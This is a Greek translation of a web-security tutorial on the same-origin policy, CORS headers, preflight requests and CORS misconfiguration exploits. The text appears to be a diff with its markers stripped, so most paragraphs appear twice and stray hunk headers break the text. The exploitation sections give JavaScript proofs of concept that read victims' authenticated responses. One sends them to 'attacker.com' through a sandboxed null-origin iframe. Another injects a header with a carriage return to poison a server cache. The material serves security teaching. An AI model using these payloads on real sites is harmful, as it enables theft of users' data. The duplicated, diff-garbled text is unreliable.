Μια πολιτική **ίδιας προέλευσης** απαιτεί από ένα **διακομιστή που ζητάει** έναν πόρο και τον διακομιστή που φιλοξενεί τον **πόρο** να μοιράζονται τον ίδιο πρωτόκολλο (π.χ., `http://`), όνομα domain (π.χ., `internal-web.com`), και **θύρα** (π.χ., 80). Με βάση αυτήν την πολιτική, μόνο οι ιστοσελίδες από τον ίδιο τομέα και την ίδια θύρα επιτρέπεται η πρόσβαση στους πόρους.
Η εφαρμογή της πολιτικής ίδιας προέλευσης στο πλαίσιο του `http://normal-website.com/example/example.html` απεικονίζεται ως εξής:
| Διεύθυνση URL πρόσβασης | Επιτρεπτή πρόσβαση; |
| URL που προσπερνάται | Επιτρεπτή πρόσβαση; |
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/` | Ναι: Ίδιο πρωτόκολλο, τομέας και θύρα |
| `http://normal-website.com/example2/` | Ναι: Ίδιο πρωτόκολλο, τομέας και θύρα |
| `http://normal-website.com/example/` | Ναι: Ίδιο πρωτόκολλο, domain, και θύρα |
| `http://normal-website.com/example2/` | Ναι: Ίδιο πρωτόκολλο, domain, και θύρα |
| `https://normal-website.com/example/` | Όχι: Διαφορετικό πρωτόκολλο και θύρα |
| `http://en.normal-website.com/example/` | Όχι: Διαφορετικός τομέας |
| `http://www.normal-website.com/example/` | Όχι: Διαφορετικός τομέας |
| `http://en.normal-website.com/example/` | Όχι: Διαφορετικό domain |
| `http://www.normal-website.com/example/` | Όχι: Διαφορετικό domain |
| `http://normal-website.com:8080/example/` | Όχι: Διαφορετική θύρα\* |
\*Ο Internet Explorer αγνοεί τον αριθμό θύρας στην επιβολή της πολιτικής ίδιας προέλευσης, επιτρέποντας έτσι αυτήν την πρόσβαση.
### Κεφαλίδα `Access-Control-Allow-Origin`
Αυτή η κεφαλίδα μπορεί να επιτρέψει **πολλαπλές προελεύσεις**, μια τιμή **`null`**, ή ένα χαρακτήρα **`*`**. Ωστόσο, **κανένας περιηγητής δεν υποστηρίζει πολλαπλές προελεύσεις**, και η χρήση του χαρακτήρα `*` υπόκειται σε **περιορισμούς**. (Ο χαρακτήρας `*` πρέπει να χρησιμοποιείται μόνος του, και η χρήση του μαζί με το `Access-Control-Allow-Credentials: true` δεν επιτρέπεται.)
Αυτή η κεφαλίδα μπορεί να επιτρέψει **πολλαπλές προελεύσεις**, μια τιμή **`null`**, ή ένα χαρακτήρα μπαλαντέρ **`*`**. Ωστόσο, **κανένας browser δεν υποστηρίζει πολλαπλές προελεύσεις**, και η χρήση του χαρακτήρα μπαλαντέρ `*` υπόκειται σε **περιορισμούς**. (Ο χαρακτήρας μπαλαντέρ πρέπει να χρησιμοποιείται μόνος του, και η χρήση του μαζί με το `Access-Control-Allow-Credentials: true` δεν επιτρέπεται.)
Αυτή η κεφαλίδα **εκδίδεται από ένα διακομιστή** σε απάντηση μιας αιτήσεως πόρου διασυνοριακά που ξεκινά από μια ιστοσελίδα, με τον περιηγητή να προσθέτει αυτόματα μια κεφαλίδα `Origin`.
Αυτή η κεφαλίδα **εκδίδεται από ένα διακομιστή** σε απάντηση μιας αιτήσεως πόρου από διαφορετικό domain που ξεκινά από μια ιστοσελίδα, με τον browser να προσθέτει αυτόματα μια κεφαλίδα `Origin`.
### Κεφαλίδα `Access-Control-Allow-Credentials`
Από **προεπιλογή**, οι αιτήσεις διασυνοριακά γίνονται χωρίς διαπιστευτήρια όπως cookies ή η κεφαλίδα Authorization. Ωστόσο, ένας διακομιστής διασυνοριακά μπορεί να επιτρέψει την ανάγνωση της απάντησης όταν αποστέλλονται διαπιστευτήρια ορίζοντας την κεφαλίδα `Access-Control-Allow-Credentials` σε **`true`**.
Από **προεπιλογή**, οι αιτήσεις διαφορετικής προέλευσης γίνονται χωρίς διαπιστευτήρια όπως cookies ή η κεφαλίδα Authorization. Ωστόσο, ένας διακομιστής διαφορετικής προέλευσης μπορεί να επιτρέψει την ανάγνωση της απάντησης όταν διαπιστευτήρια στέλνονται ορίζοντας την κεφαλίδα `Access-Control-Allow-Credentials` σε **`true`**.
Αν οριστεί σε `true`, ο περιηγητής θα μεταδώσει διαπιστευτήρια (cookies, κεφαλίδες εξουσιοδότησης ή πιστοποιητικά πελάτη TLS).
Αν οριστεί σε `true`, ο browser θα μεταδώσει διαπιστευτήρια (cookies, κεφαλίδες εξουσιοδότησης, ή πιστοποιητικά πελάτη TLS).
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
@ -74,15 +74,15 @@ xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
```
### CSRF Προ-πτήση αίτηση
### CSRF Προερώτηση προ-πτήσης
### Κατανόηση Αιτημάτων Προ-πτήσης στη Διασυνοριακή Επικοινωνία
### Κατανόηση Προερωτημάτων Προ-πτήσης στη Διασυνοριακή Επικοινωνία
Κατά την εκκίνηση ενός διασυνοριακού αιτήματος υπό συγκεκριμένες συνθήκες, όπως η χρήση μιας **μη-κανονικής μεθόδου HTTP** (οτιδήποτε εκτός από HEAD, GET, POST), η εισαγωγή νέων **κεφαλίδων**, ή η χρήση ενός ειδικού **τιμή κεφαλίδας Content-Type**, μπορεί να απαιτηθεί μια προ-πτήση αίτηση. Αυτό το προκαταρκτικό αίτημα, εκμεταλλευόμενο τη μέθοδο **`OPTIONS`**, χρησιμεύει για να ενημερώσει τον διακομιστή για τις προθέσεις του επερχόμενου διασυνοριακού αιτήματος, συμπεριλαμβανομένων των μεθόδων HTTP και των κεφαλίδων που προτίθεται να χρησιμοποιήσει.
Κατά την εκκίνηση μιας διασυνοριακής αίτησης υπό συγκεκριμένες συνθήκες, όπως η χρήση μιας **μη-κανονικής μεθόδου HTTP** (οτιδήποτε εκτός από HEAD, GET, POST), η εισαγωγή νέων **κεφαλίδων**, ή η χρήση ενός ειδικού **τιμή κεφαλίδας Content-Type**, μπορεί να απαιτηθεί μια προ-πτήση. Αυτό το προκαταρκτικό αίτημα, εκμεταλλευόμενο τη μέθοδο **`OPTIONS`**, χρησιμεύει για να ενημερώσει τον διακομιστή για τις προθέσεις της επερχόμενης διασυνοριακής αίτησης, συμπεριλαμβανομένων των μεθόδων HTTP και των κεφαλίδων που προτίθεται να χρησιμοποιήσει.
Το πρωτόκολλο **Cross-Origin Resource Sharing (CORS)** επιβάλλει αυτόν τον έλεγχο προ-πτήσης για να καθορίσει την εφικτότητα της ζητούμενης διασυνοριακής λειτουργίας ελέγχοντας τις επιτρεπόμενες μεθόδους, κεφαλίδες και την αξιοπιστία της προέλευσης. Για μια λεπτομερή κατανόηση των συνθηκών που παρακάμπτουν την ανάγκη για ένα αίτημα προ-πτήσης, ανατρέξτε στον πλήρη οδηγό που παρέχεται από το [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
Το πρωτόκολλο **Cross-Origin Resource Sharing (CORS)** επιβάλλει αυτόν τον έλεγχο προ-πτήσης για να καθορίσει την εφικτότητα της αιτούμενης διασυνοριακής λειτουργίας ελέγχοντας τις επιτρεπόμενες μεθόδους, κεφαλίδες και την αξιοπιστία της προέλευσης. Για μια λεπτομερή κατανόηση των συνθηκών που παρακάμπτουν την ανάγκη για ένα αίτημα προ-πτήσης, ανατρέξτε στον πλήρη οδηγό που παρέχεται από το [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
Είναι σημαντικό να σημειωθεί ότι **η απουσία ενός αιτήματος προ-πτήσης δεν αναιρεί την απαίτηση για την απόκριση να περιέχει κεφαλίδες εξουσιοδότησης**. Χωρίς αυτές τις κεφαλίδες, ο περιηγητής είναι ανίκανος να επεξεργαστεί την απόκριση από το διασυνοριακό αίτημα.
Είναι σημαντικό να σημειωθεί ότι η **απουσία ενός αιτήματος προ-πτήσης δεν αναιρεί την ανάγκη για την απόκριση να περιέχει κεφαλίδες εξουσιοδότησης**. Χωρίς αυτές τις κεφαλίδες, ο περιηγητής είναι ανίκανος να επεξεργαστεί την απόκριση από τη διασυνοριακή αίτηση.
Λάβετε υπόψη το παρακάτω σχήμα ενός αιτήματος προ-πτήσης που στοχεύει στη χρήση της μεθόδου `PUT` μαζί με μια προσαρμοσμένη κεφαλίδα με το όνομα `Special-Request-Header`:
```
@ -103,22 +103,22 @@ Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
* **`Access-Control-Allow-Headers`**: Αυτή η κεφαλίδα καθορίζει ποιες κεφαλίδες μπορούν να χρησιμοποιηθούν κατά την πραγματική αίτηση. Ο διακομιστής την ορίζει για να υποδείξει τις επιτρεπόμενες κεφαλίδες στις αιτήσεις από τον πελάτη.
* **`Access-Control-Expose-Headers`**: Μέσω αυτής της κεφαλίδας, ο διακομιστής ενημερώνει τον πελάτη σχετικά με ποιες κεφαλίδες μπορούν να εκτίθενται ως μέρος της απόκρισης εκτός από τις απλές κεφαλίδες απόκρισης.
* **`Access-Control-Max-Age`**: Αυτή η κεφαλίδα υποδεικνύει πόσο καιρό μπορούν να κρατηθούν τα αποτελέσματα μιας προ-πτήσης αίτησης στην μνήμη cache. Ο διακομιστής ορίζει το μέγιστο χρόνο, σε δευτερόλεπτα, που οι πληροφορίες που επιστρέφονται από μια προ-πτήση αίτηση μπορούν να επαναχρησιμοποιηθούν.
* **`Access-Control-Request-Headers`**: Χρησιμοποιείται σε προ-πτήση αιτήσεων, αυτή η κεφαλίδα ορίζεται από τον πελάτη για να ενημερώσει τον διακομιστή σχετικά με τις κεφαλίδες HTTP που ο πελάτης θέλει να χρησιμοποιήσει στην πραγματική αίτηση.
* **`Access-Control-Request-Method`**: Αυτή η κεφαλίδα, επίσης χρησιμοποιείται σε προ-πτήση αιτήσεων, ορίζεται από τον πελάτη για να υποδείξει ποια μέθοδο HTTP θα χρησιμοποιηθεί στην πραγματική αίτηση.
* **`Origin`**: Αυτή η κεφαλίδα ορίζεται αυτόματα από τον περιηγητή και υποδεικνύει την προέλευση του αιτήματος διασταυρούμενης προέλευσης. Χρησιμοποιείται από τον διακομιστή για να αξιολογήσει εάν το εισερχόμενο αίτημα πρέπει να επιτραπεί ή να απορριφθεί βάσει της πολιτικής CORS.
* **`Access-Control-Allow-Headers`**: Αυτή η κεφαλίδα καθορίζει ποιες κεφαλίδες μπορούν να χρησιμοποιηθούν κατά την πραγματική αίτηση. Την ορίζει ο διακομιστής για να υποδείξει τις επιτρεπόμενες κεφαλίδες στις αιτήσεις από τον πελάτη.
* **`Access-Control-Expose-Headers`**: Μέσω αυτής της κεφαλίδας, ο διακομιστής ενημερώνει τον πελάτη σχετικά με τις κεφαλίδες που μπορούν να εκτίθενται ως μέρος της απόκρισης εκτός από τις απλές κεφαλίδες απόκρισης.
* **`Access-Control-Max-Age`**: Αυτή η κεφαλίδα υποδεικνύει πόσο καιρό μπορούν να κρατηθούν τα αποτελέσματα μιας αιτήσεως προεπισκόπησης στην μνήμη cache. Ο διακομιστής ορίζει το μέγιστο χρόνο, σε δευτερόλεπτα, που οι πληροφορίες που επιστρέφονται από μια αίτηση προεπισκόπησης μπορούν να επαναχρησιμοποιηθούν.
* **`Access-Control-Request-Headers`**: Χρησιμοποιείται σε αιτήσεις προεπισκόπησης, αυτή η κεφαλίδα ορίζεται από τον πελάτη για να ενημερώσει τον διακομιστή σχετικά με τις κεφαλίδες HTTP που ο πελάτης θέλει να χρησιμοποιήσει στην πραγματική αίτηση.
* **`Access-Control-Request-Method`**: Αυτή η κεφαλίδα, επίσης χρησιμοποιείται σε αιτήσεις προεπισκόπησης, ορίζεται από τον πελάτη για να υποδείξει ποια μέθοδο HTTP θα χρησιμοποιηθεί στην πραγματική αίτηση.
* **`Origin`**: Αυτή η κεφαλίδα ορίζεται αυτόματα από τον περιηγητή και υποδεικνύει την προέλευση της αιτήσεως διασταυρούμενης προέλευσης. Χρησιμοποιείται από τον διακομιστή για να αξιολογήσει εάν η εισερχόμενη αίτηση πρέπει να επιτραπεί ή να απορριφθεί βάσει της πολιτικής CORS.
Σημειώστε ότι συνήθως (ανάλογα με τον τύπο περιεχομένου και τις κεφαλίδες που ορίζονται) σε μια αίτηση **GET/POST δεν στέλνεται προ-πτήση αίτησης** (η αίτηση στέλνεται **απευθείας**), αλλά αν θέλετε να έχετε πρόσβαση στις **κεφαλίδες/σώμα της απόκρισης**, πρέπει να περιέχει μια κεφαλίδα _Access-Control-Allow-Origin_ που το επιτρέπει.\
Σημειώστε ότι συνήθως (ανάλογα με τον τύπο περιεχομένου και τις κεφαλίδες που ορίζονται) σε μια αίτηση **GET/POST δεν αποστέλλεται αίτηση προεπισκόπησης** (η αίτηση αποστέλλεται **απευθείας**), αλλά αν θέλετε να έχετε πρόσβαση στις **κεφαλίδες/σώμα της απόκρισης**, πρέπει να περιέχει μια κεφαλίδα _Access-Control-Allow-Origin_ που το επιτρέπει.\
**Επομένως, το CORS δεν προστατεύει από CSRF (αλλά μπορεί να είναι χρήσιμο).**
### **Προ-πτήση αιτήσεων τοπικού δικτύου**
### **Αίτηση προεπισκόπησης τοπικού δικτύου**
1. **`Access-Control-Request-Local-Network`**: Αυτή η κεφαλίδα συμπεριλαμβάνεται στο αίτημα του πελάτη για να υποδείξει ότι η ερώτηση απευθύνεται σε ένα τοπικό δίκτυο. Λειτουργεί ως δείκτης για να ενημερώσει τον διακομιστή ότι το αίτημα προέρχεται από το εσωτερικό του τοπικού δικτύου.
2. **`Access-Control-Allow-Local-Network`**: Στην απάντηση, οι διακομιστές χρησιμοποιούν αυτήν την κεφαλίδα για να επικοινωνήσουν ότι ο προτεινόμενος πόρος επιτρέπεται να κοινοποιηθεί με οντότητες έξω από το τοπικό δίκτυο. Λειτουργεί ως πράσινο φως για την κοινοποίηση πόρων διασχίζοντας διαφορετικά όρια δικτύου, εξασφαλίζοντας ελεγχόμενη πρόσβαση διατηρώντας πρωτόκολλα ασφαλείας.
1. **`Access-Control-Request-Local-Network`**: Αυτή η κεφαλίδα συμπεριλαμβάνεται στην αίτηση του πελάτη για να υποδείξει ότι η ερώτηση απευθύνεται σε ένα τοπικό δίκτυο. Λειτουργεί ως δείκτης για να ενημερώσει τον διακομιστή ότι η αίτηση προέρχεται από το εσωτερικό του τοπικού δικτύου.
2. **`Access-Control-Allow-Local-Network`**: Στην απάντηση, οι διακομιστές χρησιμοποιούν αυτήν την κεφαλίδα για να επικοινωνήσουν ότι ο προτεινόμενος πόρος επιτρέπεται να κοινοποιηθεί με οντότητες έξω από το τοπικό δίκτυο. Λειτουργεί ως πράσινο φως για την κοινοποίηση πόρων διασχίζοντας διαφορετικά όρια δικτύου, εξασφαλίζοντας ελεγχόμενη πρόσβαση διατηρώντας πρωτόκολλα ασφαλείας.
Μια **έγκυρη απόκριση που επιτρέπει το αίτημα του τοπικού δικτύου** πρέπει επίσης να περιλαμβάνει στην απόκριση την κεφαλίδα `Access-Controls-Allow-Local_network: true` :
Μια **έγκυρη απόκριση που επιτρέπει την αίτηση του τοπικού δικτύου** πρέπει επίσης να περιέχει στην απόκριση την κεφαλίδα `Access-Controls-Allow-Local_network: true` :
```
HTTP/1.1 200 OK
...
@ -132,7 +132,7 @@ Content-Length: 0
{% hint style="warning" %}
Σημειώστε ότι η διεύθυνση IP **0.0.0.0** του Linux λειτουργεί για να **παρακάμψει** αυτές τις απαιτήσεις για πρόσβαση στο localhost, καθώς αυτή η διεύθυνση IP δε θεωρείται "τοπική".
Είναι επίσης δυνατό να **παρακαμφθούν οι απαιτήσεις του Τοπικού Δικτύου** εάν χρησιμοποιήσετε τη **δημόσια διεύθυνση IP ενός τοπικού σημείου** (όπως η δημόσια IP του δρομολογητή). Επειδή σε αρκετές περιπτώσεις, ακόμα κι αν η **δημόσια IP** προσπελαύνεται, εάν είναι **από το τοπικό δίκτυο**, η πρόσβαση θα επιτραπεί.
Είναι επίσης δυνατό να **παρακάμψετε τις απαιτήσεις του Τοπικού Δικτύου** αν χρησιμοποιήσετε τη **δημόσια διεύθυνση IP ενός τοπικού σημείου** (όπως η δημόσια IP του δρομολογητή). Επειδή σε αρκετές περιπτώσεις, ακόμα κι αν η **δημόσια IP** προσπελαύνεται, αν είναι **από το τοπικό δίκτυο**, η πρόσβαση θα επιτραπεί.
{% endhint %}
## Εκμετάλλευση ευπαθειών στη ρύθμιση
@ -141,11 +141,11 @@ Content-Length: 0
### Εξαίρεση: Εκμετάλλευση της Τοποθεσίας Δικτύου ως Ταυτοποίηση
Υπάρχει μια εξαίρεση όπου η τοποθεσία του δικτύου του θύματος λειτουργεί ως μορφή ταυτοποίησης. Αυτό επιτρέπει στον περιηγητή του θύματος να χρησιμοποιηθεί ως διακομιστής μεσολάβησης, παρακάμπτοντας την ταυτοποίηση βασισμένη σε IP για πρόσβαση σε εφαρμογές εταιρικού δικτύου. Αυτή η μέθοδος μοιράζεται ομοιότητες στην επίδραση με την ανακατεύθυνση DNS αλλά είναι πιο εύκολη στην εκμετάλλευση.
Υπάρχει μια εξαίρεση όπου η τοποθεσία του δικτύου του θύματος λειτουργεί ως μορφή ταυτοποίησης. Αυτό επιτρέπει στον περιηγητή του θύματος να χρησιμοποιηθεί ως διακομιστής μεσολάβησης, παρακάμπτοντας την ταυτοποίηση βασισμένη σε IP για πρόσβαση σε εφαρμογές εταιρικού δικτύου. Αυτή η μέθοδος μοιράζεται ομοιότητες στην επίδραση με την αντανάκλαση DNS αλλά είναι πιο εύκολη στην εκμετάλλευση.
### Αντανάκλαση του `Origin` στο `Access-Control-Allow-Origin`
Η πραγματική περίπτωση όπου η τιμή της κεφαλίδας `Origin` αντανακλάται στο `Access-Control-Allow-Origin` είναι θεωρητικά απίθανη λόγω περιορισμών στον συνδυασμό αυτών των κεφαλίδων. Ωστόσο, οι προγραμματιστές που επιθυμούν να ενεργοποιήσουν το CORS για πολλαπλές διευθύνσεις URL μπορεί να δημιουργήσουν δυναμικά την κεφαλίδα `Access-Control-Allow-Origin` αντιγράφοντας την τιμή της κεφαλίδας `Origin`. Αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες, ειδικά όταν ένας επιτιθέμενος χρησιμοποιεί έναν τομέα με ένα όνομα σχεδιασμένο να φαίνεται νόμιμο, παραπλανώντας έτσι τη λογική επικύρωσης.
Το πραγματικό σενάριο όπου η τιμή της κεφαλίδας `Origin` αντανακλάται στο `Access-Control-Allow-Origin` είναι θεωρητικά απίθανο λόγω περιορισμών στον συνδυασμό αυτών των κεφαλίδων. Ωστόσο, οι προγραμματιστές που επιθυμούν να ενεργοποιήσουν το CORS για πολλαπλές διευθύνσεις URL μπορεί να δημιουργήσουν δυναμικά την κεφαλίδα `Access-Control-Allow-Origin` αντιγράφοντας την τιμή της κεφαλίδας `Origin`. Αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες, ειδικά όταν ένας επιτιθέμενος χρησιμοποιεί έναν τομέα με ένα όνομα σχεδιασμένο να φαίνεται νόμιμο, παραπλανώντας έτσι τη λογική επικύρωσης.
```html
<script>
var req = new XMLHttpRequest();
@ -160,7 +160,7 @@ location='/log?key='+this.responseText;
```
### Εκμεταλλευόμενοι την Προέλευση `null`
Η προέλευση `null`, που καθορίζεται για καταστάσεις όπως ανακατευθύνσεις ή τοπικά αρχεία HTML, κατέχει μια μοναδική θέση. Κάποιες εφαρμογές προσθέτουν αυτήν την προέλευση στη λευκή λίστα για να διευκολύνουν την τοπική ανάπτυξη, επιτρέποντας κατά λάθος σε οποιονδήποτε ιστότοπο να μιμείται μια προέλευση `null` μέσω ενός iframe σε αμμώδη περιβάλλον, παρακάμπτοντας έτσι τους περιορισμούς CORS.
Η προέλευση `null`, που καθορίζεται για καταστάσεις όπως ανακατευθύνσεις ή τοπικά αρχεία HTML, κατέχει μια μοναδική θέση. Κάποιες εφαρμογές προσθέτουν αυτήν την προέλευση στη λευκή λίστα για να διευκολύνουν την τοπική ανάπτυξη, επιτρέποντας κατά λάθος σε οποιονδήποτε ιστότοπο να μιμείται μια προέλευση `null` μέσω ενός iframe σε αμμώδη χώρο, παρακάμπτοντας έτσι τους περιορισμούς CORS.
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
@ -188,21 +188,21 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
```
### Τεχνικές Παράκαμψης Κανόνων Κανονικών Εκφράσεων
Όταν αντιμετωπίζετε μια λευκή λίστα τομέων, είναι κρίσιμο να ελέγξετε τις ευκαιρίες παράκαμψης, όπως η προσάρτηση του τομέα του επιτιθέμενου σε έναν τομέα που βρίσκεται στη λευκή λίστα ή η εκμετάλλευση ευπαθειών υπερκατάληψης υποτομέων. Επιπλέον, οι κανονικές εκφράσεις που χρησιμοποιούνται για την επικύρωση τομέων μπορεί να παραβλέπουν λεπτομέρειες στις συμβάσεις ονομασίας τομέων, παρουσιάζοντας περαιτέρω ευκαιρίες παράκαμψης.
Όταν αντιμετωπίζετε έναν λευκό κατάλογο τομέων, είναι κρίσιμο να ελέγξετε τις ευκαιρίες παράκαμψης, όπως η προσάρτηση του τομέα του επιτιθέμενου σε έναν λευκό κατάλογο τομέων ή η εκμετάλλευση ευπαθειών στην κατάληξη υποτομέα. Επιπλέον, οι κανονικές εκφράσεις που χρησιμοποιούνται για την επικύρωση του τομέα ενδέχεται να παραβλέπουν λεπτομέρειες στις συμβάσεις ονομασίας τομέων, παρουσιάζοντας περαιτέρω ευκαιρίες παράκαμψης.
### Προηγμένες Παρακάμψεις Κανονικών Εκφράσεων
Τα πρότυπα Regex συνήθως επικεντρώνονται σε αλφαριθμητικούς χαρακτήρες, τελεία (.), και παύλα (-), παραβλέποντας άλλες πιθανότητες. Για παράδειγμα, ένα όνομα τομέα που δημιουργείται για να περιλαμβάνει χαρακτήρες που ερμηνεύονται διαφορετικά από τους περιηγητές και τα πρότυπα Regex μπορεί να παρακάμψει τους ελέγχους ασφαλείας. Η χειριστική των υποτομέων από τους περιηγητές Safari, Chrome, και Firefox για τους χαρακτήρες κάτω παύλα στους υποτομείς επιδεικνύει πώς τέτοιες αντιφάσεις μπορούν να εκμεταλλευτούν για να παρακαμφθεί η λογική επικύρωσης τομέα.
Τα πρότυπα Regex συνήθως επικεντρώνονται σε αλφαριθμητικούς χαρακτήρες, τελεία (.), και παύλα (-), παραβλέποντας άλλες πιθανότητες. Για παράδειγμα, ένα όνομα τομέα που δημιουργείται για να περιλαμβάνει χαρακτήρες που ερμηνεύονται διαφορετικά από τους περιηγητές και τα πρότυπα Regex μπορεί να παρακάμψει τους ελέγχους ασφαλείας. Η χειριστική των υποτομέων από τους Safari, Chrome, και Firefox για τους χαρακτήρες κάτω παύλα στους υποτομείς επιδεικνύει πώς τέτοιες αντιφάσεις μπορούν να εκμεταλλευτούν για να παρακαμφθεί η λογική επικύρωσης τομέα.
**Για περισσότερες πληροφορίες και ρυθμίσεις αυτού του ελέγχου παράκαμψης:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **και** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (281).png>)
### Από XSS μέσα σε έναν υποτομέα
### Από XSS μέσα σε υποτομέα
Οι προγραμματιστές συχνά υλοποιούν μηχανισμούς προστασίας για να προστατεύσουν από την εκμετάλλευση CORS με τη λευκή λίστα τομέων που επιτρέπεται να ζητήσουν πληροφορίες. Παρά τα μέτρα αυτά, η ασφάλεια του συστήματος δεν είναι αδιάβροχη. Η παρουσία ακόμα και ενός ευάλωτου υποτομέα μέσα στους τομείς που βρίσκονται στη λευκή λίστα μπορεί να ανοίξει την πόρτα στην εκμετάλλευση CORS μέσω άλλων ευπαθειών, όπως το XSS (Cross-Site Scripting).
Οι προγραμματιστές συχνά υλοποιούν μηχανισμούς προστασίας για να προστατεύσουν από την εκμετάλλευση CORS με τη λευκή λίστα τομέων που επιτρέπεται να ζητήσουν πληροφορίες. Παρά τα μέτρα αυτά, η ασφάλεια του συστήματος δεν είναι αδιάβροχη. Η παρουσία ακόμα και ενός ευάλωτου υποτομέα μέσα στους λευκούς καταλόγους τομέων μπορεί να ανοίξει την πόρτα στην εκμετάλλευση CORS μέσω άλλων ευπαθειών, όπως το XSS (Cross-Site Scripting).
Για να το εξηγήσουμε, να λάβετε υπόψη το σενάριο όπου ένας τομέας, `requester.com`, είναι στη λευκή λίστα για να έχει πρόσβαση σε πόρους από έναν άλλο τομέα, `provider.com`. Η διαμόρφωση στην πλευρά του διακομιστή μπορεί να μοιάζει κάπως έτσι:
Για να δείτε ένα παράδειγμα, σκεφτείτε το σενάριο όπου ένας τομέας, `requester.com`, είναι στη λευκή λίστα για πρόσβαση σε πόρους από έναν άλλο τομέα, `provider.com`. Η διαμόρφωση στην πλευρά του διακομιστή μπορεί να μοιάζει κάπως έτσι:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
@ -210,42 +210,42 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Unauthorized access
}
```
Σε αυτή τη ρύθμιση, όλα τα υποτομεία του `requester.com` επιτρέπεται η πρόσβαση. Ωστόσο, εάν ένα υποτομέας, όπως το `sub.requester.com`, διαρρεύσει με μια ευπάθεια XSS, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτήν την αδυναμία. Για παράδειγμα, ένας επιτιθέμενος με πρόσβαση στο `sub.requester.com` θα μπορούσε να εκμεταλλευτεί την ευπάθεια XSS για να παρακάμψει τις πολιτικές CORS και να αποκτήσει κακόβουλη πρόσβαση σε πόρους στο `provider.com`.
Σε αυτή τη ρύθμιση, όλα τα υποτομεία του `requester.com` επιτρέπεται η πρόσβαση. Ωστόσο, εάν ένα υποτομέα, όπως το `sub.requester.com`, διαρρεύσει με μια ευπάθεια XSS, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτήν την αδυναμία. Για παράδειγμα, ένας επιτιθέμενος με πρόσβαση στο `sub.requester.com` θα μπορούσε να εκμεταλλευτεί την ευπάθεια XSS για να παρακάμψει τις πολιτικές CORS και να αποκτήσει κακόβουλη πρόσβαση σε πόρους στο `provider.com`.
### **Δηλητηρίαση cache στην πλευρά του διακομιστή**
[**Από αυτήν την έρευνα**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
Είναι δυνατόν με την εκμετάλλευση της δηλητηρίασης της cache στην πλευρά του διακομιστή μέσω της εισαγωγής κεφαλίδων HTTP, να προκληθεί μια ευπάθεια αποθηκευμένου Cross-Site Scripting (XSS). Αυτό το σενάριο αναπτύσσεται όταν μια εφαρμογή αποτυγχάνει να απολυμάνει την κεφαλίδα `Origin` για παράνομους χαρακτήρες, δημιουργώντας μια ευπάθεια ιδιαίτερα για τους χρήστες του Internet Explorer και του Edge. Αυτοί οι περιηγητές θεωρούν το (0x0d) ως έγκυρο τερματιστή κεφαλίδας HTTP, οδηγώντας σε ευπάθειες εισαγωγής κεφαλίδων HTTP.
Είναι δυνατόν με την εκμετάλλευση δηλητηρίασης cache στην πλευρά του διακομιστή μέσω εισαγωγής κεφαλίδων HTTP, να προκληθεί μια αποθηκευμένη ευπάθεια Cross-Site Scripting (XSS). Αυτό το σενάριο αναπτύσσεται όταν μια εφαρμογή αποτυγχάνει να αποσυρθεί την κεφαλίδα `Origin` για παράνομους χαρακτήρες, δημιουργώντας μια ευπάθεια ιδιαίτερα για τους χρήστες Internet Explorer και Edge. Αυτοί οι περιηγητές θεωρούν το (0x0d) ως έγκυρο τερματιστή κεφαλίδας HTTP, οδηγώντας σε ευπάθειες εισαγωγής κεφαλίδων HTTP.
Λάβετε υπόψη το ακόλουθο αίτημα όπου η κεφαλίδα `Origin` είναι χειρισμένη:
```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
Το Internet Explorer και το Edge ερμηνεύουν την απάντηση ως:
Internet Explorer και Edge ερμηνεύουν την απάντηση ως:
```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
Ενώ δεν είναι εφικτό να εκμεταλλευτείτε απευθείας αυτή την ευπάθεια κάνοντας έναν web browser να στείλει ένα μη έγκυρο κεφαλίδα, μια δημιουργημένη αίτηση μπορεί να δημιουργηθεί χειροκίνητα χρησιμοποιώντας εργαλεία όπως το Burp Suite. Αυτή η μέθοδος θα μπορούσε να οδηγήσει σε έναν server-side cache να αποθηκεύσει την απόκριση και ακούσια να την παρέχει σε άλλους. Το δημιουργημένο φορτίο στοχεύει στην τροποποίηση του συνόλου χαρακτήρων της σελίδας σε UTF-7, έναν κωδικοποιητή χαρακτήρων που συχνά συσχετίζεται με ευπάθειες XSS λόγω της ικανότητάς του να κωδικοποιεί χαρακτήρες με έναν τρόπο που μπορεί να εκτελεστεί ως script σε συγκεκριμένα πλαίσια.
